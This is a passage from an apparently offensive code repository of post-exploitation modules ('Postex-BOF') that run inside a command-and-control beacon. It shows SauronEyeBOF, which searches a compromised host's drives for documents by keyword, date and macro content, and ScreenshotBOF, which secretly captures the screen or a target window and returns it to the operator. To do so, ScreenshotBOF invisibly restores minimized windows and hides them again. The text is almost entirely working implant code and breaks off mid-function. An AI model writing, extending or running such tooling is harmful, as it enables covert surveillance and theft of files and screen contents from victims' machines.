while (token && idx < item_count) {\n        while (*token == ' ') token++;\n        char* end = token + MSVCRT$strlen(token) - 1;\n        while (end > token && *end == ' ') *end-- = '\\0';\n        TrimQuotes(token);\n        NormalizePath(token);\n        size_t token_len = MSVCRT$strlen(token);\n        (*list)[idx] = (char*)MSVCRT$malloc(token_len + 1);\n        if ((*list)[idx]) {\n            MSVCRT$memcpy((*list)[idx], token, token_len + 1);\n            idx++;\n        }\n        token = MSVCRT$strtok(NULL, \",\");\n    }\n    *count = idx;\n    MSVCRT$free(str_copy);\n}\nstatic char* AllocString(const char* src) {\n    if (!src) return NULL;\n    size_t len = MSVCRT$strlen(src);\n    char* dst = (char*)MSVCRT$malloc(len + 1);\n    if (dst) {\n        MSVCRT$memcpy(dst, src, len + 1);\n    }\n    return dst;\n}\nBOOL ParseDate(const char* date_str, SYSTEMTIME* st) {\n    if (MSVCRT$strlen(date_str) != 10 || date_str[2] != '.' || date_str[5] != '.') return FALSE;\n    st->wDayOfWeek = st->wHour = st->wMinute = st->wSecond = st->wMilliseconds = 0;\n    st->wDay = (WORD)((date_str[0] - '0') * 10 + (date_str[1] - '0'));\n    st->wMonth = (WORD)((date_str[3] - '0') * 10 + (date_str[4] - '0'));\n    st->wYear = (WORD)((date_str[6] - '0') * 1000 + (date_str[7] - '0') * 100 + (date_str[8] - '0') * 10 + (date_str[9] - '0'));\n    return (st->wYear >= 1900 && st->wYear <= 9999 && st->wMonth >= 1 && st->wMonth <= 12 && st->wDay >= 1 && st->wDay <= 31);\n}\nvoid go(char* args, int len) {\n    datap parser;\n    BeaconDataParse(&parser, args, len);\n    char* raw_cmdline = BeaconDataExtract(&parser, NULL);\n    SearchOptions opts = {0};\n    opts.max_file_size_kb = 1024;\n    opts.system_dirs = FALSE;\n    opts.search_contents = FALSE;\n    opts.check_for_macro = FALSE;\n    opts.has_date_filter = FALSE;\n    opts.show_date = FALSE;\n    opts.result_count = 0;\n    opts.file_count = 0;\n    opts.wildcard_max_attempts = 0;\n    opts.wildcard_max_size = 0;\n    opts.wildcard_max_backtrack = 0;\n    opts.seen_paths = NULL;\n    opts.seen_paths_count = 0;\n    opts.seen_paths_capacity = 0;\n    if (raw_cmdline && *raw_cmdline) {\n        const char* p = raw_cmdline;\n        while (*p) {\n            if (*p == '-' && p[1]) {\n                const char valid_flags[] = \"-d-f-k-c-m-s-b-a-v-D-W-S-B\";\n                BOOL valid = FALSE;\n                for (int i = 0; i < (int)sizeof(valid_flags) - 1; i += 2) {\n                    if (p[0] == valid_flags[i] && p[1] == valid_flags[i+1]) { valid = TRUE; break; }\n                }\n                if (!valid) {\n                    char flag[3] = {p[0], p[1], '\\0'};\n                    BeaconPrintf(CALLBACK_ERROR, \"Invalid flag: %s\\n\", flag);\n                    return;\n                }\n                while (*p && *p != ' ' && *p != '\\t') p++;\n            } else p++;\n        }\n    }\n    char* directories_str = BeaconDataExtract(&parser, NULL);\n    char* filetypes_str = BeaconDataExtract(&parser, NULL);\n    char* keywords_str = BeaconDataExtract(&parser, NULL);\n    int search_contents_int = BeaconDataInt(&parser);\n    int max_filesize_int = BeaconDataInt(&parser);\n    int system_dirs_int = BeaconDataInt(&parser);\n    char* before_date_str = BeaconDataExtract(&parser, NULL);\n    char* after_date_str = BeaconDataExtract(&parser, NULL);\n    int check_macro_int = BeaconDataInt(&parser);\n    int show_date_int = BeaconDataInt(&parser);\n    int wildcard_attempts_int = BeaconDataInt(&parser);\n    int wildcard_size_int = BeaconDataInt(&parser);\n    int wildcard_backtrack_int = BeaconDataInt(&parser);\n    opts.search_contents = (search_contents_int != 0);\n    opts.system_dirs = (system_dirs_int != 0);\n    opts.check_for_macro = (check_macro_int != 0);\n    opts.show_date = (show_date_int != 0);\n    if (max_filesize_int > 0) opts.max_file_size_kb = (ULONGLONG)max_filesize_int;\n    if (wildcard_attempts_int > 0) opts.wildcard_max_attempts = wildcard_attempts_int;\n    if (wildcard_size_int > 0) opts.wildcard_max_size = (ULONGLONG)wildcard_size_int * 1024;\n    if (wildcard_backtrack_int > 0) opts.wildcard_max_backtrack = wildcard_backtrack_int;\n    if (directories_str && MSVCRT$strlen(directories_str) > 0) {\n        ParseCSVList(directories_str, &opts.directories, &opts.dir_count);\n    } else {\n        opts.dir_count = 1;\n        opts.directories = (char**)MSVCRT$malloc(sizeof(char*) * 1);\n        if (opts.directories) {\n            opts.directories[0] = AllocString(\"C:\\\\\");\n        }\n    }\n    if (filetypes_str && MSVCRT$strlen(filetypes_str) > 0) {\n        ParseCSVList(filetypes_str, &opts.filetypes, &opts.filetype_count);\n    } else {\n        if (opts.check_for_macro) {\n            const char* default_types[] = {\".doc\", \".xls\", \".docm\", \".xlsm\"};\n            opts.filetype_count = 4;\n            opts.filetypes = (char**)MSVCRT$malloc(sizeof(char*) * 4);\n            if (opts.filetypes) {\n                for (int i = 0; i < 4; i++) {\n                    opts.filetypes[i] = AllocString(default_types[i]);\n                }\n            }\n        } else {\n            const char* default_types[] = {\".txt\", \".docx\"};\n            opts.filetype_count = 2;\n            opts.filetypes = (char**)MSVCRT$malloc(sizeof(char*) * 2);\n            if (opts.filetypes) {\n                for (int i = 0; i < 2; i++) {\n                    opts.filetypes[i] = AllocString(default_types[i]);\n                }\n            }\n        }\n    }\n    if (keywords_str && MSVCRT$strlen(keywords_str) > 0) {\n        ParseCSVList(keywords_str, &opts.keywords, &opts.keyword_count);\n    } else {\n        opts.keyword_count = 0;\n        opts.keywords = NULL;\n    }\n    if (before_date_str && *before_date_str) {\n        if (ParseDate(before_date_str, &opts.before_date)) opts.has_date_filter = TRUE;\n        else BeaconPrintf(CALLBACK_ERROR, \"[-] Invalid before date format: %s\\n\", before_date_str);\n    }\n    if (after_date_str && *after_date_str) {\n        if (ParseDate(after_date_str, &opts.after_date)) opts.has_date_filter = TRUE;\n        else BeaconPrintf(CALLBACK_ERROR, \"[-] Invalid after date format: %s\\n\", after_date_str);\n    }\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Starting SauronEye search...\\n[*] Directories: \");\n    for (int i = 0; i < opts.dir_count; i++) BeaconPrintf(CALLBACK_OUTPUT, \"%s \", opts.directories[i]);\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n\");\n    for (int i = 0; i < opts.dir_count; i++) {\n        if (opts.search_contents) {\n            if (opts.result_count >= MAX_RESULTS) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[!] Reached maximum results limit (%d)\\n\", MAX_RESULTS);\n                break;\n            }\n        } else {\n            if (opts.file_count >= MAX_RESULTS) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[!] Reached maximum files limit (%d)\\n\", MAX_RESULTS);\n                break;\n            }\n        }\n        if (SHLWAPI$PathFileExistsA(opts.directories[i])) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] Searching in: %s\\n\", opts.directories[i]);\n            SearchDirectory(opts.directories[i], &opts);\n        } else {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Directory does not exist: %s\\n\", opts.directories[i]);\n        }\n    }\n    if (opts.search_contents && opts.result_count > 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Search completed. Found %d results in %d files.\\n\", opts.result_count, opts.file_count);\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Search completed. Found %d files.\\n\", opts.file_count);\n    }\n    if (opts.seen_paths) {\n        for (int i = 0; i < opts.seen_paths_count; i++) {\n            if (opts.seen_paths[i]) {\n                MSVCRT$free(opts.seen_paths[i]);\n            }\n        }\n        MSVCRT$free(opts.seen_paths);\n    }\n}"
  },
  {
    "path": "Postex-BOF/SauronEyeBOF/sauroneye.h",
    "content": "#ifndef SAURONEYE_H\n#define SAURONEYE_H\n\n#include <windows.h>\n#include <shlwapi.h>\n\n#pragma comment(lib, \"Shlwapi.lib\")\n\n// API declarations\nDECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetFileAttributesW(LPCWSTR lpFileName);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$FindClose(HANDLE hFindFile);\nDECLSPEC_IMPORT HANDLE WINAPI KERNEL32$FindFirstFileW(LPCWSTR lpFileName, LPWIN32_FIND_DATAW lpFindFileData);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$FindNextFileW(HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);\nDECLSPEC_IMPORT HANDLE WINAPI KERNEL32$FindFirstFileA(LPCSTR lpFileName, LPWIN32_FIND_DATAA lpFindFileData);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$FindNextFileA(HANDLE hFindFile, LPWIN32_FIND_DATAA lpFindFileData);\nDECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetFileAttributesA(LPCSTR lpFileName);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetFileAttributesExA(LPCSTR lpFileName, GET_FILEEX_INFO_LEVELS fInfoLevelId, LPVOID lpFileInformation);\n#ifndef GetFileExInfoStandard\n#define GetFileExInfoStandard 0\n#endif\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$FileTimeToSystemTime(const FILETIME *lpFileTime, LPSYSTEMTIME lpSystemTime);\nDECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(VOID);\nDECLSPEC_IMPORT BOOL WINAPI SHLWAPI$PathFileExistsA(LPCSTR pszPath);\nDECLSPEC_IMPORT int WINAPI MSVCRT$sprintf(char *str, const char *format, ...);\nDECLSPEC_IMPORT int __cdecl MSVCRT$_snprintf(char *str, size_t size, const char *format, ...);\nDECLSPEC_IMPORT void* WINAPI MSVCRT$malloc(size_t size);\nDECLSPEC_IMPORT void* WINAPI MSVCRT$realloc(void *ptr, size_t size);\nDECLSPEC_IMPORT void WINAPI MSVCRT$free(void *ptr);\nDECLSPEC_IMPORT int WINAPI MSVCRT$strcmp(const char *s1, const char *s2);\nDECLSPEC_IMPORT int WINAPI MSVCRT$strncmp(const char *s1, const char *s2, size_t n);\nDECLSPEC_IMPORT char* WINAPI MSVCRT$strstr(const char *haystack, const char *needle);\nDECLSPEC_IMPORT char* WINAPI MSVCRT$strrchr(const char *s, int c);\nDECLSPEC_IMPORT char* WINAPI MSVCRT$strtok(char *str, const char *delim);\nDECLSPEC_IMPORT size_t WINAPI MSVCRT$strlen(const char *s);\nDECLSPEC_IMPORT int WINAPI MSVCRT$tolower(int c);\nDECLSPEC_IMPORT int __cdecl MSVCRT$_stricmp(const char *s1, const char *s2);\nDECLSPEC_IMPORT int __cdecl MSVCRT$_strnicmp(const char *s1, const char *s2, size_t n);\nDECLSPEC_IMPORT void* WINAPI MSVCRT$memcpy(void *dest, const void *src, size_t n);\nDECLSPEC_IMPORT int WINAPI MSVCRT$memcmp(const void *s1, const void *s2, size_t n);\nDECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);\nDECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);\nDECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);\nDECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR lpModuleName);\nDECLSPEC_IMPORT FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE hModule, LPCSTR lpProcName);\nDECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetFullPathNameA(LPCSTR lpFileName, DWORD nBufferLength, LPSTR lpBuffer, LPSTR* lpFilePart);\n\n// NT Native API types\ntypedef long NTSTATUS;\ntypedef struct _IO_STATUS_BLOCK {\n    union {\n        NTSTATUS Status;\n        void*    Pointer;\n    } DUMMYUNIONNAME;\n    unsigned long long Information;\n} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;\n\ntypedef enum _FILE_INFORMATION_CLASS {\n    FileDirectoryInformation = 1,\n    FileFullDirectoryInformation,\n    FileBothDirectoryInformation,\n    FileBasicInformation,\n    FileStandardInformation = 5,\n} FILE_INFORMATION_CLASS;\n\ntypedef struct _FILE_STANDARD_INFORMATION {\n    LARGE_INTEGER AllocationSize;\n    LARGE_INTEGER EndOfFile;\n    unsigned long NumberOfLinks;\n    unsigned char DeletePending;\n    unsigned char Directory;\n} FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION;\n\nDECLSPEC_IMPORT NTSTATUS WINAPI NTDLL$NtQueryInformationFile(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, FILE_INFORMATION_CLASS FileInformationClass);\nDECLSPEC_IMPORT NTSTATUS WINAPI NTDLL$NtReadFile(HANDLE FileHandle, HANDLE Event, PVOID ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, PLARGE_INTEGER ByteOffset, PULONG Key);\n\n// OLE32 constants\n#ifndef S_OK\n#define S_OK 0x00000000\n#endif\n\n#ifndef STGM_READ\n#define STGM_READ 0x00000000L\n#endif\n\n#ifndef STGM_SHARE_DENY_WRITE\n#define STGM_SHARE_DENY_WRITE 0x00000020L\n#endif\n\n// Dynamic OLE32 function pointer types\ntypedef HRESULT (WINAPI *PFN_StgIsStorageFile)(LPCWSTR);\ntypedef HRESULT (WINAPI *PFN_StgOpenStorage)(LPCWSTR, void*, DWORD, void*, DWORD, void**);\n\n// Constants\n#define OOXML_SCAN_WINDOW (256 * 1024) // 256KB head/tail scan\n#define MAX_RESULTS 1000\n#define MAX_PATH_LENGTH 260\n#define MAX_CONTENT_BUFFER_SIZE (10 * 1024 * 1024)\n#define CONTEXT_BUFFER_SIZE 50\n\n// Wildcard search performance limits (adjustable)\n#define WILDCARD_MAX_MATCH_ATTEMPTS 1000        // Maximum number of pattern matching attempts\n#define WILDCARD_MAX_SEARCH_SIZE (200 * 1024)  // Maximum search area for large files (200KB)\n#define WILDCARD_MAX_BACKTRACK 1000             // Maximum backtracking operations to prevent infinite loops\n#define MAX_MATCHES_PER_FILE 100                // Maximum matches per file to prevent excessive output\n\n// Search options structure\ntypedef struct {\n    char** directories;\n    int dir_count;\n    char** filetypes;\n    int filetype_count;\n    char** keywords;\n    int keyword_count;\n    BOOL search_contents;\n    BOOL system_dirs;\n    ULONGLONG max_file_size_kb;\n    SYSTEMTIME before_date;\n    SYSTEMTIME after_date;\n    BOOL check_for_macro;  // -v: OOXML macro detection\n    BOOL has_date_filter;\n    BOOL show_date;        // -D: Show file modification date in output\n    int result_count;      // Total number of matches found\n    int file_count;        // Total number of files with matches\n    // Wildcard search performance tuning (0 = use default)\n    int wildcard_max_attempts;      // -W: Maximum pattern matching attempts (default: WILDCARD_MAX_MATCH_ATTEMPTS)\n    ULONGLONG wildcard_max_size;    // -S: Maximum search area in bytes (default: WILDCARD_MAX_SEARCH_SIZE)\n    int wildcard_max_backtrack;     // -B: Maximum backtracking operations (default: WILDCARD_MAX_BACKTRACK)\n    // Path deduplication\n    char** seen_paths;      // Array of canonical paths already output\n    int seen_paths_count;   // Number of paths in seen_paths array\n    int seen_paths_capacity; // Capacity of seen_paths array\n} SearchOptions;\n\n// VBA macro detection\nBOOL CheckForVBAMacrosStrict(const char* filepath, BOOL use_ole);\n\n// Matching functions\nBOOL MatchWildcard(const char* pattern, const char* str);\nBOOL MatchesKeyword(const char* filename, SearchOptions* opts);\nBOOL MatchesFiletype(const char* filepath, SearchOptions* opts);\nBOOL IsFolderValid(const char* path, SearchOptions* opts);\nBOOL MatchesDateFilter(const FILETIME* filetime, SearchOptions* opts);\n\n// Search functions\nint SearchFileContents(const char* filepath, const FILETIME* filetime, SearchOptions* opts);  // Returns number of matches found\nvoid SearchDirectory(const char* dir_path, SearchOptions* opts);\n\n// Utility functions\nvoid TrimQuotes(char* str);\nvoid NormalizePath(char* path);\nvoid ParseCSVList(char* str, char*** list, int* count);\nBOOL ParseDate(const char* date_str, SYSTEMTIME* st);\nBOOL IsPathAlreadySeen(const char* filepath, SearchOptions* opts);\nvoid AddPathToSeen(const char* filepath, SearchOptions* opts);\nvoid GetCanonicalPath(const char* filepath, char* canonical, size_t canonicalSize);\n\n#endif // SAURONEYE_H\n"
  },
  {
    "path": "Postex-BOF/ScreenshotBOF/entry.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <gdiplus.h>\n#include \"adaptix.h\"\n\n#pragma comment(lib, \"User32.lib\")\n#pragma comment(lib, \"gdiplus.lib\")\n\nDECLSPEC_IMPORT BOOL    WINAPI GDI32$DeleteDC(HDC hdc);\nDECLSPEC_IMPORT HDC     WINAPI USER32$GetDC(HWND hWnd);\nDECLSPEC_IMPORT int     WINAPI USER32$ReleaseDC(HWND hWnd, HDC hdc);\nDECLSPEC_IMPORT HDC     WINAPI GDI32$CreateCompatibleDC(HDC hdc);\nDECLSPEC_IMPORT HBITMAP WINAPI GDI32$CreateCompatibleBitmap(HDC hdc, int nWidth, int nHeight);\nDECLSPEC_IMPORT HGDIOBJ WINAPI GDI32$SelectObject(HDC hdc, HGDIOBJ hgdiobj);\nDECLSPEC_IMPORT BOOL    WINAPI USER32$PrintWindow(HWND hwnd, HDC hdcBlt, UINT nFlags);\nDECLSPEC_IMPORT BOOL    WINAPI GDI32$BitBlt(HDC hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, HDC hdcSrc, int nXSrc, int nYSrc, DWORD dwRop);\nDECLSPEC_IMPORT BOOL    WINAPI USER32$ShowWindow(HWND hWnd, int nCmdShow);\nDECLSPEC_IMPORT LONG    WINAPI USER32$SetWindowLongA(HWND hWnd, int nIndex, LONG dwNewLong);\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);\nDECLSPEC_IMPORT BOOL    WINAPI USER32$SetLayeredWindowAttributes(HWND hWnd, COLORREF crKey, BYTE bAlpha, DWORD dwFlags);\nDECLSPEC_IMPORT BOOL    WINAPI USER32$UpdateWindow(HWND hWnd);\nDECLSPEC_IMPORT VOID    WINAPI KERNEL32$Sleep(DWORD dwMilliseconds);\nDECLSPEC_IMPORT BOOL    WINAPI USER32$GetWindowRect(HWND hWnd, LPRECT lpRect);\nDECLSPEC_IMPORT BOOL    WINAPI USER32$GetWindowPlacement(HWND hWnd, WINDOWPLACEMENT* lpwndpl);\nDECLSPEC_IMPORT DWORD   WINAPI USER32$GetWindowThreadProcessId(HWND hWnd, LPDWORD lpdwProcessId);\nDECLSPEC_IMPORT BOOL    WINAPI USER32$EnumWindows(WNDENUMPROC lpEnumFunc, LPARAM lParam);\nDECLSPEC_IMPORT int     WINAPI USER32$GetSystemMetrics(int nIndex);\nDECLSPEC_IMPORT BOOL    WINAPI USER32$SetWindowPos(HWND hWnd, HWND hWndInsertAfter, int X, int Y, int cx, int cy, UINT uFlags);\nDECLSPEC_IMPORT BOOL    WINAPI USER32$IsWindowVisible(HWND hWnd);\nDECLSPEC_IMPORT LONG    WINAPI USER32$GetWindowLongA(HWND hWnd, int nIndex);\nDECLSPEC_IMPORT BOOL    WINAPI GDI32$DeleteObject(HGDIOBJ hObject);\nDECLSPEC_IMPORT BOOL    WINAPI USER32$SetProcessDPIAware();\nWINBASEAPI DWORD        WINAPI KERNEL32$GetLastError(VOID);\n\nDECLSPEC_IMPORT WINBASEAPI void* MSVCRT$malloc(size_t size);\nDECLSPEC_IMPORT WINBASEAPI void  MSVCRT$free(void *_Memory);\n\nDECLSPEC_IMPORT GpStatus WINAPI GDIPLUS$GdiplusStartup(ULONG_PTR* pToken, const GdiplusStartupInput* pInput, GdiplusStartupOutput* pOutput);\nDECLSPEC_IMPORT VOID   WINAPI GDIPLUS$GdiplusShutdown(ULONG_PTR token);\nDECLSPEC_IMPORT GpStatus WINAPI GDIPLUS$GdipCreateBitmapFromHBITMAP(HBITMAP hBitmap, HPALETTE hPalette, GpBitmap** ppBitmap);\nDECLSPEC_IMPORT GpStatus WINAPI GDIPLUS$GdipDisposeImage(GpImage* image);\nDECLSPEC_IMPORT GpStatus WINAPI GDIPLUS$GdipSaveImageToStream(GpImage* image, IStream* stream, const CLSID* clsidEncoder, const EncoderParameters* encoderParams);\n\nBOOL BitmapToJpeg(HBITMAP hBitmap, int quality, BYTE** pJpegData, DWORD* pJpegSize) {\n    GdiplusStartupInput gdiplusInput = { 0 };\n    gdiplusInput.GdiplusVersion = 1;\n\n    ULONG_PTR token;\n    if (GDIPLUS$GdiplusStartup(&token, &gdiplusInput, NULL) != Ok) return FALSE;\n\n    GpBitmap* bmp = NULL;\n    if (GDIPLUS$GdipCreateBitmapFromHBITMAP(hBitmap, NULL, &bmp) != Ok) {\n        GDIPLUS$GdiplusShutdown(token);\n        return FALSE;\n    }\n\n    IStream* stream = NULL;\n    if (OLE32$CreateStreamOnHGlobal(NULL, TRUE, &stream) != S_OK) {\n        GDIPLUS$GdipDisposeImage((GpImage*)bmp);\n        GDIPLUS$GdiplusShutdown(token);\n        return FALSE;\n    }\n\n    EncoderParameters params;\n    params.Count = 1;\n    CLSID clsidEncoderQuality = { 0x1d5be4b5, 0xfa4a, 0x452d, {0x9c,0xdd,0x5d,0xb3,0x51,0x05,0xe7,0xeb} };\n    params.Parameter[0].Guid = clsidEncoderQuality;\n    params.Parameter[0].NumberOfValues = 1;\n    params.Parameter[0].Type = EncoderParameterValueTypeLong;\n    params.Parameter[0].Value = &quality;\n\n    CLSID clsidJPEG = { 0x557cf401, 0x1a04, 0x11d3, { 0x9a, 0x73, 0x00, 0x00, 0xf8, 0x1e, 0xf3, 0x2e } };\n    if (GDIPLUS$GdipSaveImageToStream((GpImage*)bmp, stream, &clsidJPEG, &params) != Ok) {\n        stream->lpVtbl->Release(stream);\n        GDIPLUS$GdipDisposeImage((GpImage*)bmp);\n        GDIPLUS$GdiplusShutdown(token);\n        return FALSE;\n    }\n\n    ULARGE_INTEGER ulSize;\n    LARGE_INTEGER liZero = {0};\n    stream->lpVtbl->Seek(stream, liZero, STREAM_SEEK_END, &ulSize);\n    *pJpegSize = (DWORD)ulSize.QuadPart;\n\n    *pJpegData = (BYTE*)MSVCRT$malloc(*pJpegSize);\n    if (!*pJpegData) {\n        stream->lpVtbl->Release(stream);\n        GDIPLUS$GdipDisposeImage((GpImage*)bmp);\n        GDIPLUS$GdiplusShutdown(token);\n        return FALSE;\n    }\n\n    stream->lpVtbl->Seek(stream, liZero, STREAM_SEEK_SET, NULL);\n    ULONG bytesRead = 0;\n    stream->lpVtbl->Read(stream, *pJpegData, *pJpegSize, &bytesRead);\n\n    stream->lpVtbl->Release(stream);\n    GDIPLUS$GdipDisposeImage((GpImage*)bmp);\n    GDIPLUS$GdiplusShutdown(token);\n\n    return (bytesRead == *pJpegSize);\n}\n\nBOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR note) {\n    BYTE* data;\n    DWORD size;\n    if (!BitmapToJpeg(hBitmap, 90, &data, &size)) return FALSE;\n    AxAddScreenshot((char*)note, (char*)data, (int)size);\n    MSVCRT$free(data);\n    return TRUE;\n}\n\nBOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) {\n    struct EnumData {\n        DWORD pid;\n        HWND hwnd;\n    };\n\n    struct EnumData* data = (struct EnumData*)lParam;\n    DWORD windowPid = 0;\n    USER32$GetWindowThreadProcessId(hwnd, &windowPid);\n\n    if (windowPid == data->pid && USER32$IsWindowVisible(hwnd)) {\n        data->hwnd = hwnd;\n        return FALSE;\n    }\n    return TRUE;\n}\n\nHWND FindWindowByPID(DWORD pid) {\n    struct EnumData {\n        DWORD pid;\n        HWND hwnd;\n    } data = { pid, NULL };\n\n    USER32$EnumWindows(EnumWindowsProc, (LPARAM)&data);\n    return data.hwnd;\n}\n\nHBITMAP CaptureWindow(HWND hwnd) {\n    WINDOWPLACEMENT wp = { sizeof(wp) };\n    if (!USER32$GetWindowPlacement(hwnd, &wp)) {\n        BeaconPrintf(CALLBACK_ERROR, \"GetWindowPlacement failed\");\n        return NULL;\n    }\n\n    RECT captureRect;\n    int width, height;\n    BOOL success = FALSE;\n    HDC hdcScreen = USER32$GetDC(NULL);\n    HDC hdcMem = GDI32$CreateCompatibleDC(hdcScreen);\n    HBITMAP hBitmap = NULL;\n\n    if (wp.showCmd == SW_SHOWMINIMIZED) {\n        LONG exStyle = USER32$GetWindowLongA(hwnd, GWL_EXSTYLE);\n        USER32$SetWindowLongA(hwnd, GWL_EXSTYLE, exStyle | WS_EX_LAYERED | WS_EX_TOOLWINDOW);\n        USER32$SetLayeredWindowAttributes(hwnd, 0, 0, LWA_ALPHA);\n        USER32$ShowWindow(hwnd, SW_RESTORE);\n        USER32$UpdateWindow(hwnd);\n        KERNEL32$Sleep(1000);  /* Allow time for rendering */\n\n        if (!USER32$GetWindowRect(hwnd, &captureRect)) {\n            BeaconPrintf(CALLBACK_ERROR, \"GetWindowRect failed (restored window)\");\n            goto cleanup;\n        }\n\n        width = captureRect.right - captureRect.left;\n        height = captureRect.bottom - captureRect.top;\n        if (width <= 0 || height <= 0) {\n            BeaconPrintf(CALLBACK_ERROR, \"Invalid window dimensions SW_SHOWMINIMIZED\");\n            goto cleanup;\n        }\n        hBitmap = GDI32$CreateCompatibleBitmap(hdcScreen, width, height);\n        if (!hBitmap) {\n            BeaconPrintf(CALLBACK_ERROR, \"Failed to create compatible bitmap\");\n            goto cleanup;\n        }\n        GDI32$SelectObject(hdcMem, hBitmap);\n        success = USER32$PrintWindow(hwnd, hdcMem, PW_RENDERFULLCONTENT);\n        if (!success) {\n            success = GDI32$BitBlt(hdcMem, 0, 0, width, height,\n                hdcScreen, captureRect.left, captureRect.top, SRCCOPY);\n            if (!success)\n                BeaconPrintf(CALLBACK_ERROR, \"Both PrintWindow and BitBlt failed\");\n        }\n\n        USER32$ShowWindow(hwnd, SW_MINIMIZE);\n        USER32$SetWindowLongA(hwnd, GWL_EXSTYLE, exStyle);\n        USER32$SetWindowPos(hwnd, NULL, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOZORDER | SWP_FRAMECHANGED);\n    } else {\n        if (!USER32$GetWindowRect(hwnd, &captureRect)) {\n            BeaconPrintf(CALLBACK_ERROR, \"GetWindowRect failed\");\n            goto cleanup;\n        }\n\n        width = captureRect.right - captureRect.left;\n        height = captureRect.bottom - captureRect.top;\n        if (width <= 0 || height <= 0) {\n            BeaconPrintf(CALLBACK_ERROR, \"Invalid window dimensions \");\n            goto cleanup;\n        }\n        hBitmap = GDI32$CreateCompatibleBitmap(hdcScreen, width, height);\n        if (!hBitmap) {\n            BeaconPrintf(CALLBACK_ERROR, \"Failed to create compatible bitmap\");\n            goto cleanup;\n        }\n        GDI32$SelectObject(hdcMem, hBitmap);\n\n        success = USER32$PrintWindow(hwnd, hdcMem, PW_RENDERFULLCONTENT);\n        if (!success) {\n            success = GDI32$BitBlt(hdcMem, 0, 0, width, height, hdcScreen, captureRect.left, captureRect.top, SRCCOPY);\n            if (!success)\n                BeaconPrintf(CALLBACK_ERROR, \"Both PrintWindow and BitBlt failed\");\n        }\n    }\n\ncleanup:\n    if (hdcMem)\n        GDI32$DeleteDC(hdcMem);\n    if (hdcScreen)\n        USER32$ReleaseDC(NULL, hdcScreen);\n    if (!success) {\n        if (hBitmap)\n            GDI32$DeleteObject(hBitmap);\n        return NULL;\n    }\n    return hBitmap;\n}\n\n\nvoid go(char* buff, int len) {\n    datap parser;\n    BeaconDataParse(&parser, buff, len);\n    char* note = BeaconDataExtract(&parser, NULL);\n    int pid    = BeaconDataInt(&parser);\n\n    USER32$SetProcessDPIAware();\n\n    HBITMAP bmp = NULL;\n    if (pid != 0) {\n        HWND hwnd = FindWindowByPID((DWORD)pid);\n        if (!hwnd) {\n            BeaconPrintf(CALLBACK_ERROR, \"Window with PID %d not found\", pid);\n            return;\n        }\n        bmp = CaptureWindow(hwnd);\n        if (!bmp) {\n            BeaconPrintf(CALLBACK_ERROR, \"Failed to capture window with PID %d\", pid);\n            return;\n        }\n    } else {\n        int x = USER32$GetSystemMetrics(SM_XVIRTUALSCREEN);\n        int y = USER32$GetSystemMetrics(SM_YVIRTUALSCREEN);\n        int w = USER32$GetSystemMetrics(SM_CXVIRTUALSCREEN);\n        int h = USER32$GetSystemMetrics(SM_CYVIRTUALSCREEN);\n\n        HDC screenDC = USER32$GetDC(NULL);\n        if (screenDC == NULL) {\n            BeaconPrintf(CALLBACK_ERROR, \"GetDC(NULL) returned NULL. Error: %lu\", KERNEL32$GetLastError());\n            return;\n        }\n\n        HDC memDC = GDI32$CreateCompatibleDC(screenDC);\n        if (memDC == NULL) {\n            BeaconPrintf(CALLBACK_ERROR, \"CreateCompatibleDC failed. Error: %lu\", KERNEL32$GetLastError());\n            USER32$ReleaseDC(NULL, screenDC);\n            return;\n        }\n\n        bmp = GDI32$CreateCompatibleBitmap(screenDC, w, h);\n        if (bmp == NULL) {\n            BeaconPrintf(CALLBACK_ERROR, \"Failed to create full screen bitmap\");\n            GDI32$DeleteDC(memDC);\n            USER32$ReleaseDC(NULL, screenDC);\n            return;\n        }\n\n        